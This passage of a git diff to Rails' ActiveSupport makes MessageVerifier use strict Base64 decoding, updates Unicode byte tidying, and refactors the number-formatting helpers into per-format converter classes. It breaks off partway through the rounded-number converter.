diff --git a/activesupport/lib/active_support/message_verifier.rb b/activesupport/lib/active_support/message_verifier.rb
index e0cd92ae3c..8e6e1dcfeb 100644
--- a/activesupport/lib/active_support/message_verifier.rb
+++ b/activesupport/lib/active_support/message_verifier.rb
@@ -37,7 +37,12 @@ module ActiveSupport
data, digest = signed_message.split("--")
if data.present? && digest.present? && secure_compare(digest, generate_digest(data))
- @serializer.load(::Base64.decode64(data))
+ begin
+ @serializer.load(::Base64.strict_decode64(data))
+ rescue ArgumentError => argument_error
+ raise InvalidSignature if argument_error.message =~ %r{invalid base64}
+ raise
+ end
else
raise InvalidSignature
end
diff --git a/activesupport/lib/active_support/multibyte/unicode.rb b/activesupport/lib/active_support/multibyte/unicode.rb
index 1845c6ae38..84799c2399 100644
--- a/activesupport/lib/active_support/multibyte/unicode.rb
+++ b/activesupport/lib/active_support/multibyte/unicode.rb
@@ -11,7 +11,7 @@ module ActiveSupport
NORMALIZATION_FORMS = [:c, :kc, :d, :kd]
# The Unicode version that is supported by the implementation
- UNICODE_VERSION = '6.2.0'
+ UNICODE_VERSION = '6.3.0'
# The default normalization used for operations that require
# normalization. It can be set to any of the normalizations
@@ -212,37 +212,43 @@ module ActiveSupport
codepoints
end
- # Replaces all ISO-8859-1 or CP1252 characters by their UTF-8 equivalent
- # resulting in a valid UTF-8 string.
- #
- # Passing +true+ will forcibly tidy all bytes, assuming that the string's
- # encoding is entirely CP1252 or ISO-8859-1.
- def tidy_bytes(string, force = false)
- return string if string.empty?
-
- if force
- return string.encode(Encoding::UTF_8, Encoding::Windows_1252, invalid: :replace, undef: :replace)
+ # Ruby >= 2.1 has String#scrub, which is faster than the workaround used for < 2.1.
+ if RUBY_VERSION >= '2.1'
+ # Replaces all ISO-8859-1 or CP1252 characters by their UTF-8 equivalent
+ # resulting in a valid UTF-8 string.
+ #
+ # Passing +true+ will forcibly tidy all bytes, assuming that the string's
+ # encoding is entirely CP1252 or ISO-8859-1.
+ def tidy_bytes(string, force = false)
+ return string if string.empty?
+ return recode_windows1252_chars(string) if force
+ string.scrub { |bad| recode_windows1252_chars(bad) }
end
+ else
+ def tidy_bytes(string, force = false)
+ return string if string.empty?
+ return recode_windows1252_chars(string) if force
+
+ # We can't transcode to the same format, so we choose a nearly-identical encoding.
+ # We're going to 'transcode' bytes from UTF-8 when possible, then fall back to
+ # CP1252 when we get errors. The final string will be 'converted' back to UTF-8
+ # before returning.
+ reader = Encoding::Converter.new(Encoding::UTF_8, Encoding::UTF_8_MAC)
+
+ source = string.dup
+ out = ''.force_encoding(Encoding::UTF_8_MAC)
+
+ loop do
+ reader.primitive_convert(source, out)
+ _, _, _, error_bytes, _ = reader.primitive_errinfo
+ break if error_bytes.nil?
+ out << error_bytes.encode(Encoding::UTF_8_MAC, Encoding::Windows_1252, invalid: :replace, undef: :replace)
+ end
- # We can't transcode to the same format, so we choose a nearly-identical encoding.
- # We're going to 'transcode' bytes from UTF-8 when possible, then fall back to
- # CP1252 when we get errors. The final string will be 'converted' back to UTF-8
- # before returning.
- reader = Encoding::Converter.new(Encoding::UTF_8, Encoding::UTF_8_MAC)
-
- source = string.dup
- out = ''.force_encoding(Encoding::UTF_8_MAC)
+ reader.finish
- loop do
- reader.primitive_convert(source, out)
- _, _, _, error_bytes, _ = reader.primitive_errinfo
- break if error_bytes.nil?
- out << error_bytes.encode(Encoding::UTF_8_MAC, Encoding::Windows_1252, invalid: :replace, undef: :replace)
+ out.encode!(Encoding::UTF_8)
end
-
- reader.finish
-
- out.encode!(Encoding::UTF_8)
end
# Returns the KC normalization of the string by default. NFKC is
@@ -371,14 +377,8 @@ module ActiveSupport
end.pack('U*')
end
- def tidy_byte(byte)
- if byte < 160
- [database.cp1252[byte] || byte].pack("U").unpack("C*")
- elsif byte < 192
- [194, byte]
- else
- [195, byte - 64]
- end
+ def recode_windows1252_chars(string)
+ string.encode(Encoding::UTF_8, Encoding::Windows_1252, invalid: :replace, undef: :replace)
end
def database
diff --git a/activesupport/lib/active_support/number_helper.rb b/activesupport/lib/active_support/number_helper.rb
index e0151baa36..b169e3af01 100644
--- a/activesupport/lib/active_support/number_helper.rb
+++ b/activesupport/lib/active_support/number_helper.rb
@@ -1,115 +1,19 @@
-require 'active_support/core_ext/big_decimal/conversions'
-require 'active_support/core_ext/object/blank'
-require 'active_support/core_ext/hash/keys'
-require 'active_support/i18n'
-
module ActiveSupport
module NumberHelper
- extend self
-
- DEFAULTS = {
- # Used in number_to_delimited
- # These are also the defaults for 'currency', 'percentage', 'precision', and 'human'
- format: {
- # Sets the separator between the units, for more precision (e.g. 1.0 / 2.0 == 0.5)
- separator: ".",
- # Delimits thousands (e.g. 1,000,000 is a million) (always in groups of three)
- delimiter: ",",
- # Number of decimals, behind the separator (the number 1 with a precision of 2 gives: 1.00)
- precision: 3,
- # If set to true, precision will mean the number of significant digits instead
- # of the number of decimal digits (1234 with precision 2 becomes 1200, 1.23543 becomes 1.2)
- significant: false,
- # If set, the zeros after the decimal separator will always be stripped (eg.: 1.200 will be 1.2)
- strip_insignificant_zeros: false
- },
-
- # Used in number_to_currency
- currency: {
- format: {
- format: "%u%n",
- negative_format: "-%u%n",
- unit: "$",
- # These five are to override number.format and are optional
- separator: ".",
- delimiter: ",",
- precision: 2,
- significant: false,
- strip_insignificant_zeros: false
- }
- },
-
- # Used in number_to_percentage
- percentage: {
- format: {
- delimiter: "",
- format: "%n%"
- }
- },
-
- # Used in number_to_rounded
- precision: {
- format: {
- delimiter: ""
- }
- },
-
- # Used in number_to_human_size and number_to_human
- human: {
- format: {
- # These five are to override number.format and are optional
- delimiter: "",
- precision: 3,
- significant: true,
- strip_insignificant_zeros: true
- },
- # Used in number_to_human_size
- storage_units: {
- # Storage units output formatting.
- # %u is the storage unit, %n is the number (default: 2 MB)
- format: "%n %u",
- units: {
- byte: "Bytes",
- kb: "KB",
- mb: "MB",
- gb: "GB",
- tb: "TB"
- }
- },
- # Used in number_to_human
- decimal_units: {
- format: "%n %u",
- # Decimal units output formatting
- # By default we will only quantify some of the exponents
- # but the commented ones might be defined or overridden
- # by the user.
- units: {
- # femto: Quadrillionth
- # pico: Trillionth
- # nano: Billionth
- # micro: Millionth
- # mili: Thousandth
- # centi: Hundredth
- # deci: Tenth
- unit: "",
- # ten:
- # one: Ten
- # other: Tens
- # hundred: Hundred
- thousand: "Thousand",
- million: "Million",
- billion: "Billion",
- trillion: "Trillion",
- quadrillion: "Quadrillion"
- }
- }
- }
- }
+ extend ActiveSupport::Autoload
+
+ eager_autoload do
+ autoload :NumberConverter
+ autoload :NumberToRoundedConverter
+ autoload :NumberToDelimitedConverter
+ autoload :NumberToHumanConverter
+ autoload :NumberToHumanSizeConverter
+ autoload :NumberToPhoneConverter
+ autoload :NumberToCurrencyConverter
+ autoload :NumberToPercentageConverter
+ end
- DECIMAL_UNITS = { 0 => :unit, 1 => :ten, 2 => :hundred, 3 => :thousand, 6 => :million, 9 => :billion, 12 => :trillion, 15 => :quadrillion,
- -1 => :deci, -2 => :centi, -3 => :mili, -6 => :micro, -9 => :nano, -12 => :pico, -15 => :femto }
- INVERTED_DECIMAL_UNITS = DECIMAL_UNITS.invert
- STORAGE_UNITS = [:byte, :kb, :mb, :gb, :tb]
+ extend self
# Formats a +number+ into a US phone number (e.g., (555)
# 123-9876). You can customize the format in the +options+ hash.
@@ -137,27 +41,7 @@ module ActiveSupport
# number_to_phone(1235551234, country_code: 1, extension: 1343, delimiter: '.')
# # => +1.123.555.1234 x 1343
def number_to_phone(number, options = {})
- return unless number
- options = options.symbolize_keys
-
- number = number.to_s.strip
- area_code = options[:area_code]
- delimiter = options[:delimiter] || "-"
- extension = options[:extension]
- country_code = options[:country_code]
-
- if area_code
- number.gsub!(/(\d{1,3})(\d{3})(\d{4}$)/,"(\\1) \\2#{delimiter}\\3")
- else
- number.gsub!(/(\d{0,3})(\d{3})(\d{4})$/,"\\1#{delimiter}\\2#{delimiter}\\3")
- number.slice!(0, 1) if number.start_with?(delimiter) && !delimiter.blank?
- end
-
- str = ''
- str << "+#{country_code}#{delimiter}" unless country_code.blank?
- str << number
- str << " x #{extension}" unless extension.blank?
- str
+ NumberToPhoneConverter.convert(number, options)
end
# Formats a +number+ into a currency string (e.g., $13.65). You
@@ -199,25 +83,7 @@ module ActiveSupport
# number_to_currency(1234567890.50, unit: '&pound;', separator: ',', delimiter: '', format: '%n %u')
# # => 1234567890,50 &pound;
def number_to_currency(number, options = {})
- return unless number
- options = options.symbolize_keys
-
- currency = i18n_format_options(options[:locale], :currency)
- currency[:negative_format] ||= "-" + currency[:format] if currency[:format]
-
- defaults = default_format_options(:currency).merge!(currency)
- defaults[:negative_format] = "-" + options[:format] if options[:format]
- options = defaults.merge!(options)
-
- unit = options.delete(:unit)
- format = options.delete(:format)
-
- if number.to_f.phase != 0
- format = options.delete(:negative_format)
- number = number.respond_to?("abs") ? number.abs : number.sub(/^-/, '')
- end
-
- format.gsub('%n', self.number_to_rounded(number, options)).gsub('%u', unit)
+ NumberToCurrencyConverter.convert(number, options)
end
# Formats a +number+ as a percentage string (e.g., 65%). You can
@@ -253,14 +119,7 @@ module ActiveSupport
# number_to_percentage('98a') # => 98a%
# number_to_percentage(100, format: '%n %') # => 100 %
def number_to_percentage(number, options = {})
- return unless number
- options = options.symbolize_keys
-
- defaults = format_options(options[:locale], :percentage)
- options = defaults.merge!(options)
-
- format = options[:format] || "%n%"
- format.gsub('%n', self.number_to_rounded(number, options))
+ NumberToPercentageConverter.convert(number, options)
end
# Formats a +number+ with grouped thousands using +delimiter+
@@ -289,15 +148,7 @@ module ActiveSupport
# number_to_delimited(98765432.98, delimiter: ' ', separator: ',')
# # => 98 765 432,98
def number_to_delimited(number, options = {})
- options = options.symbolize_keys
-
- return number unless valid_float?(number)
-
- options = format_options(options[:locale]).merge!(options)
-
- parts = number.to_s.split('.')
- parts[0].gsub!(/(\d)(?=(\d\d\d)+(?!\d))/, "\\1#{options[:delimiter]}")
- parts.join(options[:separator])
+ NumberToDelimitedConverter.convert(number, options)
end
# Formats a +number+ with the specified level of
@@ -340,39 +191,7 @@ module ActiveSupport
# number_to_rounded(1111.2345, precision: 2, separator: ',', delimiter: '.')
# # => 1.111,23
def number_to_rounded(number, options = {})
- return number unless valid_float?(number)
- number = Float(number)
- options = options.symbolize_keys
-
- defaults = format_options(options[:locale], :precision)
- options = defaults.merge!(options)
-
- precision = options.delete :precision
- significant = options.delete :significant
- strip_insignificant_zeros = options.delete :strip_insignificant_zeros
-
- if significant && precision > 0
- if number == 0
- digits, rounded_number = 1, 0
- else
- digits = (Math.log10(number.abs) + 1).floor
- multiplier = 10 ** (digits - precision)
- rounded_number = (BigDecimal.new(number.to_s) / BigDecimal.new(multiplier.to_f.to_s)).round.to_f * multiplier
- digits = (Math.log10(rounded_number.abs) + 1).floor # After rounding, the number of digits may have changed
- end
- precision -= digits
- precision = 0 if precision < 0 # don't let it be negative
- else
- rounded_number = BigDecimal.new(number.to_s).round(precision).to_f
- rounded_number = rounded_number.abs if rounded_number.zero? # prevent showing negative zeros
- end
- formatted_number = self.number_to_delimited("%01.#{precision}f" % rounded_number, options)
- if strip_insignificant_zeros
- escaped_separator = Regexp.escape(options[:separator])
- formatted_number.sub(/(#{escaped_separator})(\d*[1-9])?0+\z/, '\1\2').sub(/#{escaped_separator}\z/, '')
- else
- formatted_number
- end
+ NumberToRoundedConverter.convert(number, options)
end
# Formats the bytes in +number+ into a more understandable
@@ -420,36 +239,7 @@ module ActiveSupport
# number_to_human_size(1234567890123, precision: 5) # => "1.1229 TB"
# number_to_human_size(524288000, precision: 5) # => "500 MB"
def number_to_human_size(number, options = {})
- options = options.symbolize_keys
-
- return number unless valid_float?(number)
- number = Float(number)
-
- defaults = format_options(options[:locale], :human)
- options = defaults.merge!(options)
-
- #for backwards compatibility with those that didn't add strip_insignificant_zeros to their locale files
- options[:strip_insignificant_zeros] = true if not options.key?(:strip_insignificant_zeros)
-
- storage_units_format = translate_number_value_with_default('human.storage_units.format', :locale => options[:locale], :raise => true)
-
- base = options[:prefix] == :si ? 1000 : 1024
-
- if number.to_i < base
- unit = translate_number_value_with_default('human.storage_units.units.byte', :locale => options[:locale], :count => number.to_i, :raise => true)
- storage_units_format.gsub(/%n/, number.to_i.to_s).gsub(/%u/, unit)
- else
- max_exp = STORAGE_UNITS.size - 1
- exponent = (Math.log(number) / Math.log(base)).to_i # Convert to base
- exponent = max_exp if exponent > max_exp # we need this to avoid overflow for the highest unit
- number /= base ** exponent
-
- unit_key = STORAGE_UNITS[exponent]
- unit = translate_number_value_with_default("human.storage_units.units.#{unit_key}", :locale => options[:locale], :count => number, :raise => true)
-
- formatted_number = self.number_to_rounded(number, options)
- storage_units_format.gsub(/%n/, formatted_number).gsub(/%u/, unit)
- end
+ NumberToHumanSizeConverter.convert(number, options)
end
# Pretty prints (formats and approximates) a number in a way it
@@ -550,86 +340,7 @@ module ActiveSupport
# number_to_human(1, units: :distance) # => "1 meter"
# number_to_human(0.34, units: :distance) # => "34 centimeters"
def number_to_human(number, options = {})
- options = options.symbolize_keys
-
- return number unless valid_float?(number)
- number = Float(number)
-
- defaults = format_options(options[:locale], :human)
- options = defaults.merge!(options)
-
- #for backwards compatibility with those that didn't add strip_insignificant_zeros to their locale files
- options[:strip_insignificant_zeros] = true if not options.key?(:strip_insignificant_zeros)
-
- units = options.delete :units
- unit_exponents = case units
- when Hash
- units
- when String, Symbol
- I18n.translate(:"#{units}", :locale => options[:locale], :raise => true)
- when nil
- translate_number_value_with_default("human.decimal_units.units", :locale => options[:locale], :raise => true)
- else
- raise ArgumentError, ":units must be a Hash or String translation scope."
- end.keys.map!{|e_name| INVERTED_DECIMAL_UNITS[e_name] }.sort_by!{|e| -e}
-
- number_exponent = number != 0 ? Math.log10(number.abs).floor : 0
- display_exponent = unit_exponents.find{ |e| number_exponent >= e } || 0
- number /= 10 ** display_exponent
-
- unit = case units
- when Hash
- units[DECIMAL_UNITS[display_exponent]] || ''
- when String, Symbol
- I18n.translate(:"#{units}.#{DECIMAL_UNITS[display_exponent]}", :locale => options[:locale], :count => number.to_i)
- else
- translate_number_value_with_default("human.decimal_units.units.#{DECIMAL_UNITS[display_exponent]}", :locale => options[:locale], :count => number.to_i)
- end
-
- decimal_format = options[:format] || translate_number_value_with_default('human.decimal_units.format', :locale => options[:locale])
- formatted_number = self.number_to_rounded(number, options)
- decimal_format.gsub(/%n/, formatted_number).gsub(/%u/, unit).strip
- end
-
- def self.private_module_and_instance_method(method_name) #:nodoc:
- private method_name
- private_class_method method_name
- end
- private_class_method :private_module_and_instance_method
-
- def format_options(locale, namespace = nil) #:nodoc:
- default_format_options(namespace).merge!(i18n_format_options(locale, namespace))
- end
- private_module_and_instance_method :format_options
-
- def default_format_options(namespace = nil) #:nodoc:
- options = DEFAULTS[:format].dup
- options.merge!(DEFAULTS[namespace][:format]) if namespace
- options
- end
- private_module_and_instance_method :default_format_options
-
- def i18n_format_options(locale, namespace = nil) #:nodoc:
- options = I18n.translate(:'number.format', locale: locale, default: {}).dup
- if namespace
- options.merge!(I18n.translate(:"number.#{namespace}.format", locale: locale, default: {}))
- end
- options
- end
- private_module_and_instance_method :i18n_format_options
-
- def translate_number_value_with_default(key, i18n_options = {}) #:nodoc:
- default = key.split('.').reduce(DEFAULTS) { |defaults, k| defaults[k.to_sym] }
-
- I18n.translate(key, { default: default, scope: :number }.merge!(i18n_options))
- end
- private_module_and_instance_method :translate_number_value_with_default
-
- def valid_float?(number) #:nodoc:
- Float(number)
- rescue ArgumentError, TypeError
- false
+ NumberToHumanConverter.convert(number, options)
end
- private_module_and_instance_method :valid_float?
end
end
diff --git a/activesupport/lib/active_support/number_helper/number_converter.rb b/activesupport/lib/active_support/number_helper/number_converter.rb
new file mode 100644
index 0000000000..9d976f1831
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_converter.rb
@@ -0,0 +1,182 @@
+require 'active_support/core_ext/big_decimal/conversions'
+require 'active_support/core_ext/object/blank'
+require 'active_support/core_ext/hash/keys'
+require 'active_support/i18n'
+require 'active_support/core_ext/class/attribute'
+
+module ActiveSupport
+ module NumberHelper
+ class NumberConverter # :nodoc:
+ # Default and i18n option namespace per class
+ class_attribute :namespace
+
+ # Does the object need a number that is a valid float?
+ class_attribute :validate_float
+
+ attr_reader :number, :opts
+
+ DEFAULTS = {
+ # Used in number_to_delimited
+ # These are also the defaults for 'currency', 'percentage', 'precision', and 'human'
+ format: {
+ # Sets the separator between the units, for more precision (e.g. 1.0 / 2.0 == 0.5)
+ separator: ".",
+ # Delimits thousands (e.g. 1,000,000 is a million) (always in groups of three)
+ delimiter: ",",
+ # Number of decimals, behind the separator (the number 1 with a precision of 2 gives: 1.00)
+ precision: 3,
+ # If set to true, precision will mean the number of significant digits instead
+ # of the number of decimal digits (1234 with precision 2 becomes 1200, 1.23543 becomes 1.2)
+ significant: false,
+ # If set, the zeros after the decimal separator will always be stripped (eg.: 1.200 will be 1.2)
+ strip_insignificant_zeros: false
+ },
+
+ # Used in number_to_currency
+ currency: {
+ format: {
+ format: "%u%n",
+ negative_format: "-%u%n",
+ unit: "$",
+ # These five are to override number.format and are optional
+ separator: ".",
+ delimiter: ",",
+ precision: 2,
+ significant: false,
+ strip_insignificant_zeros: false
+ }
+ },
+
+ # Used in number_to_percentage
+ percentage: {
+ format: {
+ delimiter: "",
+ format: "%n%"
+ }
+ },
+
+ # Used in number_to_rounded
+ precision: {
+ format: {
+ delimiter: ""
+ }
+ },
+
+ # Used in number_to_human_size and number_to_human
+ human: {
+ format: {
+ # These five are to override number.format and are optional
+ delimiter: "",
+ precision: 3,
+ significant: true,
+ strip_insignificant_zeros: true
+ },
+ # Used in number_to_human_size
+ storage_units: {
+ # Storage units output formatting.
+ # %u is the storage unit, %n is the number (default: 2 MB)
+ format: "%n %u",
+ units: {
+ byte: "Bytes",
+ kb: "KB",
+ mb: "MB",
+ gb: "GB",
+ tb: "TB"
+ }
+ },
+ # Used in number_to_human
+ decimal_units: {
+ format: "%n %u",
+ # Decimal units output formatting
+ # By default we will only quantify some of the exponents
+ # but the commented ones might be defined or overridden
+ # by the user.
+ units: {
+ # femto: Quadrillionth
+ # pico: Trillionth
+ # nano: Billionth
+ # micro: Millionth
+ # mili: Thousandth
+ # centi: Hundredth
+ # deci: Tenth
+ unit: "",
+ # ten:
+ # one: Ten
+ # other: Tens
+ # hundred: Hundred
+ thousand: "Thousand",
+ million: "Million",
+ billion: "Billion",
+ trillion: "Trillion",
+ quadrillion: "Quadrillion"
+ }
+ }
+ }
+ }
+
+ def self.convert(number, options)
+ new(number, options).execute
+ end
+
+ def initialize(number, options)
+ @number = number
+ @opts = options.symbolize_keys
+ end
+
+ def execute
+ if !number
+ nil
+ elsif validate_float? && !valid_float?
+ number
+ else
+ convert
+ end
+ end
+
+ private
+
+ def options
+ @options ||= format_options.merge(opts)
+ end
+
+ def format_options #:nodoc:
+ default_format_options.merge!(i18n_format_options)
+ end
+
+ def default_format_options #:nodoc:
+ options = DEFAULTS[:format].dup
+ options.merge!(DEFAULTS[namespace][:format]) if namespace
+ options
+ end
+
+ def i18n_format_options #:nodoc:
+ locale = opts[:locale]
+ options = I18n.translate(:'number.format', locale: locale, default: {}).dup
+
+ if namespace
+ options.merge!(I18n.translate(:"number.#{namespace}.format", locale: locale, default: {}))
+ end
+
+ options
+ end
+
+ def translate_number_value_with_default(key, i18n_options = {}) #:nodoc:
+ I18n.translate(key, { default: default_value(key), scope: :number }.merge!(i18n_options))
+ end
+
+ def translate_in_locale(key, i18n_options = {})
+ translate_number_value_with_default(key, { locale: options[:locale] }.merge(i18n_options))
+ end
+
+ def default_value(key)
+ key.split('.').reduce(DEFAULTS) { |defaults, k| defaults[k.to_sym] }
+ end
+
+ def valid_float? #:nodoc:
+ Float(number)
+ rescue ArgumentError, TypeError
+ false
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/number_helper/number_to_currency_converter.rb b/activesupport/lib/active_support/number_helper/number_to_currency_converter.rb
new file mode 100644
index 0000000000..9ae27a896a
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_currency_converter.rb
@@ -0,0 +1,46 @@
+module ActiveSupport
+ module NumberHelper
+ class NumberToCurrencyConverter < NumberConverter # :nodoc:
+ self.namespace = :currency
+
+ def convert
+ number = self.number.to_s.strip
+ format = options[:format]
+
+ if is_negative?(number)
+ format = options[:negative_format]
+ number = absolute_value(number)
+ end
+
+ rounded_number = NumberToRoundedConverter.convert(number, options)
+ format.gsub('%n', rounded_number).gsub('%u', options[:unit])
+ end
+
+ private
+
+ def is_negative?(number)
+ number.to_f.phase != 0
+ end
+
+ def absolute_value(number)
+ number.respond_to?("abs") ? number.abs : number.sub(/\A-/, '')
+ end
+
+ def options
+ @options ||= begin
+ defaults = default_format_options.merge(i18n_opts)
+ # Override negative format if format options is given
+ defaults[:negative_format] = "-#{opts[:format]}" if opts[:format]
+ defaults.merge!(opts)
+ end
+ end
+
+ def i18n_opts
+ # Set International negative format if not exists
+ i18n = i18n_format_options
+ i18n[:negative_format] ||= "-#{i18n[:format]}" if i18n[:format]
+ i18n
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/number_helper/number_to_delimited_converter.rb b/activesupport/lib/active_support/number_helper/number_to_delimited_converter.rb
new file mode 100644
index 0000000000..6405afc9a6
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_delimited_converter.rb
@@ -0,0 +1,21 @@
+module ActiveSupport
+ module NumberHelper
+ class NumberToDelimitedConverter < NumberConverter #:nodoc:
+ self.validate_float = true
+
+ DELIMITED_REGEX = /(\d)(?=(\d\d\d)+(?!\d))/
+
+ def convert
+ parts.join(options[:separator])
+ end
+
+ private
+
+ def parts
+ left, right = number.to_s.split('.')
+ left.gsub!(DELIMITED_REGEX) { "#{$1}#{options[:delimiter]}" }
+ [left, right].compact
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/number_helper/number_to_human_converter.rb b/activesupport/lib/active_support/number_helper/number_to_human_converter.rb
new file mode 100644
index 0000000000..9a3dc526ae
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_human_converter.rb
@@ -0,0 +1,66 @@
+module ActiveSupport
+ module NumberHelper
+ class NumberToHumanConverter < NumberConverter # :nodoc:
+ DECIMAL_UNITS = { 0 => :unit, 1 => :ten, 2 => :hundred, 3 => :thousand, 6 => :million, 9 => :billion, 12 => :trillion, 15 => :quadrillion,
+ -1 => :deci, -2 => :centi, -3 => :mili, -6 => :micro, -9 => :nano, -12 => :pico, -15 => :femto }
+ INVERTED_DECIMAL_UNITS = DECIMAL_UNITS.invert
+
+ self.namespace = :human
+ self.validate_float = true
+
+ def convert # :nodoc:
+ @number = Float(number)
+
+ # for backwards compatibility with those that didn't add strip_insignificant_zeros to their locale files
+ unless options.key?(:strip_insignificant_zeros)
+ options[:strip_insignificant_zeros] = true
+ end
+
+ units = opts[:units]
+ exponent = calculate_exponent(units)
+ @number = number / (10 ** exponent)
+
+ unit = determine_unit(units, exponent)
+
+ rounded_number = NumberToRoundedConverter.convert(number, options)
+ format.gsub(/%n/, rounded_number).gsub(/%u/, unit).strip
+ end
+
+ private
+
+ def format
+ options[:format] || translate_in_locale('human.decimal_units.format')
+ end
+
+ def determine_unit(units, exponent)
+ exp = DECIMAL_UNITS[exponent]
+ case units
+ when Hash
+ units[exp] || ''
+ when String, Symbol
+ I18n.translate("#{units}.#{exp}", :locale => options[:locale], :count => number.to_i)
+ else
+ translate_in_locale("human.decimal_units.units.#{exp}", count: number.to_i)
+ end
+ end
+
+ def calculate_exponent(units)
+ exponent = number != 0 ? Math.log10(number.abs).floor : 0
+ unit_exponents(units).find { |e| exponent >= e } || 0
+ end
+
+ def unit_exponents(units)
+ case units
+ when Hash
+ units
+ when String, Symbol
+ I18n.translate(units.to_s, :locale => options[:locale], :raise => true)
+ when nil
+ translate_in_locale("human.decimal_units.units", raise: true)
+ else
+ raise ArgumentError, ":units must be a Hash or String translation scope."
+ end.keys.map { |e_name| INVERTED_DECIMAL_UNITS[e_name] }.sort_by { |e| -e }
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/number_helper/number_to_human_size_converter.rb b/activesupport/lib/active_support/number_helper/number_to_human_size_converter.rb
new file mode 100644
index 0000000000..78d2c9ae6e
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_human_size_converter.rb
@@ -0,0 +1,58 @@
+module ActiveSupport
+ module NumberHelper
+ class NumberToHumanSizeConverter < NumberConverter #:nodoc:
+ STORAGE_UNITS = [:byte, :kb, :mb, :gb, :tb]
+
+ self.namespace = :human
+ self.validate_float = true
+
+ def convert
+ @number = Float(number)
+
+ # for backwards compatibility with those that didn't add strip_insignificant_zeros to their locale files
+ unless options.key?(:strip_insignificant_zeros)
+ options[:strip_insignificant_zeros] = true
+ end
+
+ if smaller_than_base?
+ number_to_format = number.to_i.to_s
+ else
+ human_size = number / (base ** exponent)
+ number_to_format = NumberToRoundedConverter.convert(human_size, options)
+ end
+ conversion_format.gsub(/%n/, number_to_format).gsub(/%u/, unit)
+ end
+
+ private
+
+ def conversion_format
+ translate_number_value_with_default('human.storage_units.format', :locale => options[:locale], :raise => true)
+ end
+
+ def unit
+ translate_number_value_with_default(storage_unit_key, :locale => options[:locale], :count => number.to_i, :raise => true)
+ end
+
+ def storage_unit_key
+ key_end = smaller_than_base? ? 'byte' : STORAGE_UNITS[exponent]
+ "human.storage_units.units.#{key_end}"
+ end
+
+ def exponent
+ max = STORAGE_UNITS.size - 1
+ exp = (Math.log(number) / Math.log(base)).to_i
+ exp = max if exp > max # avoid overflow for the highest unit
+ exp
+ end
+
+ def smaller_than_base?
+ number.to_i < base
+ end
+
+ def base
+ opts[:prefix] == :si ? 1000 : 1024
+ end
+ end
+ end
+end
+
diff --git a/activesupport/lib/active_support/number_helper/number_to_percentage_converter.rb b/activesupport/lib/active_support/number_helper/number_to_percentage_converter.rb
new file mode 100644
index 0000000000..eafe2844f7
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_percentage_converter.rb
@@ -0,0 +1,12 @@
+module ActiveSupport
+ module NumberHelper
+ class NumberToPercentageConverter < NumberConverter # :nodoc:
+ self.namespace = :percentage
+
+ def convert
+ rounded_number = NumberToRoundedConverter.convert(number, options)
+ options[:format].gsub('%n', rounded_number)
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/number_helper/number_to_phone_converter.rb b/activesupport/lib/active_support/number_helper/number_to_phone_converter.rb
new file mode 100644
index 0000000000..af2ee56d91
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_phone_converter.rb
@@ -0,0 +1,49 @@
+module ActiveSupport
+ module NumberHelper
+ class NumberToPhoneConverter < NumberConverter #:nodoc:
+ def convert
+ str = country_code(opts[:country_code])
+ str << convert_to_phone_number(number.to_s.strip)
+ str << phone_ext(opts[:extension])
+ end
+
+ private
+
+ def convert_to_phone_number(number)
+ if opts[:area_code]
+ convert_with_area_code(number)
+ else
+ convert_without_area_code(number)
+ end
+ end
+
+ def convert_with_area_code(number)
+ number.gsub!(/(\d{1,3})(\d{3})(\d{4}$)/,"(\\1) \\2#{delimiter}\\3")
+ number
+ end
+
+ def convert_without_area_code(number)
+ number.gsub!(/(\d{0,3})(\d{3})(\d{4})$/,"\\1#{delimiter}\\2#{delimiter}\\3")
+ number.slice!(0, 1) if start_with_delimiter?(number)
+ number
+ end
+
+ def start_with_delimiter?(number)
+ delimiter.present? && number.start_with?(delimiter)
+ end
+
+ def delimiter
+ opts[:delimiter] || "-"
+ end
+
+ def country_code(code)
+ code.blank? ? "" : "+#{code}#{delimiter}"
+ end
+
+ def phone_ext(ext)
+ ext.blank? ? "" : " x #{ext}"
+ end
+ end
+ end
+end
+
diff --git a/activesupport/lib/active_support/number_helper/number_to_rounded_converter.rb b/activesupport/lib/active_support/number_helper/number_to_rounded_converter.rb
new file mode 100644
index 0000000000..c42354fc83
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_rounded_converter.rb
@@ -0,0 +1,92 @@
+module ActiveSupport
+ module NumberHelper
+ class NumberToRoundedConverter < NumberConverter # :nodoc:
+ self.namespace = :precision
+ self.validate_float = true
+
+ def convert
+ precision = options.delete :precision
+ significant = options.delete :significant
+
+ case number
+ when Float, String
+ @number = BigDecimal(number.to_s)
+ when Rational
+ if significant
+ @number = BigDecimal(number, digit_count(number.to_i) + precision)
+ else
+ @number = BigDecimal(number, precision)
+ end
+ else
+ @number = number.to_d
+ end
+
+ if significant && precision > 0
+ digits, rounded_number = digits_and_rounded_number(precision)
+ precision -= digits
+ precision = 0 if precision < 0 # don't let it be negative
+ else
+ rounded_number = number.round(precision)
+ rounded_number = rounded_number.to_i if precision == 0
+ rounded_number = rounded_number.abs if rounded_number.zero? # prevent showing negative zeros
+ end
+
+ formatted_string =
+ case rounded_number
+ when BigDecimal
+ s = rounded_number.to_s('F') + '0'*precision
+ a, b = s.split('.', 2)
+ a + '.' + b[0, precision]
+ else
+ "%01.#{precision}f" % rounded_number
+ end
+
+ delimited_number = NumberToDelimitedConverter.convert(formatted_string, options)
+ format_number(delimited_number)
+ end
+
+ private
+
+ def digits_and_rounded_number(precision)
+ if zero?
+ [1, 0]
+ else
+ digits = digit_count(number)
+ multiplier = 10 ** (digits - precision)
+ rounded_number = calculate_rounded_number(multiplier)
+ digits = digit_count(rounded_number) # After rounding, the number of digits may have changed
+ [digits, rounded_number]
+ end
+ end
+
+ def calculate_rounded_number(multiplier)
+ (number / BigDecimal.new(multiplier.to_f.to_s)).round * multiplier
+ end
+
+ def digit_count(number)
